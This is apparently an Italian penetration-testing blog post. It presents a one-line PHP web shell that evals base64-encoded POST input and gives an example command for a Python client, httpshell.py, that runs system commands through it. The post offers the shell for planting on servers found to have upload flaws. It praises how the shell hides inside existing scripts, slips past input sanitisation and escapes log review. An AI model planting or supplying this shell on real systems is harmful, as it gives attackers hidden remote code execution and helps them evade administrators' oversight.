MrAnderson's Security Web & Network Security, Penetration Testing, Web Design

Simple but effective PHP Shell – httpshell v0.1

Talvolta, durante un penetration test, capita di imbattersi in un’applicazione web vulnerabile che ci permette in qualche modo di uploadare un file da remoto sul server web. In queste situazioni avere a portata di mano una web shell di piccole dimenzioni, poco complessa ma funzionale e sporattutto che non ‘puzzi’ troppo di programma malizioso (o malware), puo’ essere fondamentale.

Spesso in questi scenari abbiamo a che fare con l’interprete PHP di cui è munito il server web (che quasi sempre è Apache) e di conseguenza avremo bisogno di una web shell scritta in PHP. Ecco la soluzione che propongo:

<?php
if(isset($_POST['p'])){eval(base64_decode($_POST['p']));}
?>

come si può vedere in una singola riga di PHP abbiamo creato una web shell dalle caratteristiche particolari:

- E’ molto piccola (solo pochi bytes) ed è quindi facile da uploadare.

- Il codice verrà eseguito SOLO se la variabile POST “p” è specificata nella richiesta HTTP, e questo la rende facilmente integrabile nel codice di altri script già presenti sul server: infatti essa non ne disturberà in alcun modo il corretto funzionamento, a meno che una variabile POST “p” non sia specificata (in tal caso sarà sufficiente dare un altro nome alla variabile che conterrà il codice da eseguire)

- I comandi passati tramite la variabile “p” saranno codificati in base64: questo permette di bypassare funzioni che aggiungono backslash o che sanitarizzano le variabili, inoltre nei logs non sarà facile per un occhio non allenato distinguere del codice malevolo.

- La variabile “p” è una variabile POST e questo la esclude dai log dove invece sono riportate le variabili GET (o comunque anche se vi è riportata le variabili post sono meno controllate delle GET, in quanto quasi tutte le web shell le utilizzano)

- Altra importante caratteristica è che il codice eseguito non sarà un comando al sistema operativo ma CODICE PHP: questo apre una miriade di possibilità, infatti tramite una sola richiesta HTTP si potrà includere nel comando passato alla shell anche un’intero script PHP (e questo la rende una web shell molto versatile).

Detto questo passiamo ad alcuni problemi legati all’utilizzo della suddetta web shell: essenzialmente ne esiste solo uno, ovvero, passare codice php codificato tramite l’algoritmo base64 in una variabile POST a mano è un procedimento lungo, soprattuto se i comandi da eseguire sono tanti (basti pensare ad esempio la situazione in cui si voglia sfogliare le cartelle del sistema operativo alla ricerca di files).

Per ovviare a questo problema ho rilasciato un tool a riga di comando chiamato “httpshell.py” che automatizza i passaggi sopracitati, rendendo la web shell di cui sopra una vera e propria shell pronta all’utilizzo. Il codice di “httpshell.py” è reperibile alla pagina di download dei tools.

Httpshell.py è scritto in Python, un ottimo linguaggio di scripting, e funziona con la versione 2.5. Sarà sufficiente salvare questo codice in un file con estenzione .py (per gli utenti Windows) ed eseguirlo dopo aver installato l’interpreter.
Un esempio di utilizzo è:


./httpshell.py www.example.com /path/to/shell.php "p=passthru('%cmd%')%3b"


Se i parametri sono corretti il programma aprirà una shell interattiva che vi permetterà di inserire i comandi, i quali verranno automaticamente codificati in base64 e spediti alla shell con una richiesta HTTP POST, per poi restituirvi l’eventuale output (per utenti esperti: ridirigere lo stderr del comando sullo stdout potrebbe essere un’ottima idea).